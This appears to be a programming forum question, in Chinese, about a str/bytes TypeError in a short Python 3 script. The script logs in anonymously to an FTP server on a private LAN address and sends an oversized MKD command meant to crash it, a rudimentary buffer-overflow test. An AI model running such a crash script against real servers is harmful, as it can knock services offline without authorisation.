我尝试了其他问题中的一些解决方案,但无法解决。这是我的代码:
#/usr/bin/env python
#-*- coding: UTF-8 -*-
import socket
import sys
ip = "192.168.0.28"
port = 21
data = "hckn"*250
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = s.connect((ip,port))
except:
print("[-] Baglanti basarisiz")
sys.exit()
s.recv(1024)
s.send("USER anonymous\r\n".encode('utf-8'))
s.recv(1024)
s.send("PASS anonymous\r\n".encode('utf-8'))
print("[+]Gizli baglanti saglandi")
s.recv(1024)
s.send('MKD'+data+'\r\n'.encode('ascii'))
print("Data yollandı")
s.recv(1024)
s.send('QUIT\r\n'.encode('utf-8'))
s.close()
print("[+]Program yakinda hata verecek...")
当我删除“编码”并运行它 Python2 时,它工作正常。但不是在 Python3 上,它说
s.send('MKD'+data+'\r\n'.encode('ascii'))
TypeError:无法将字节隐式转换为对象'str'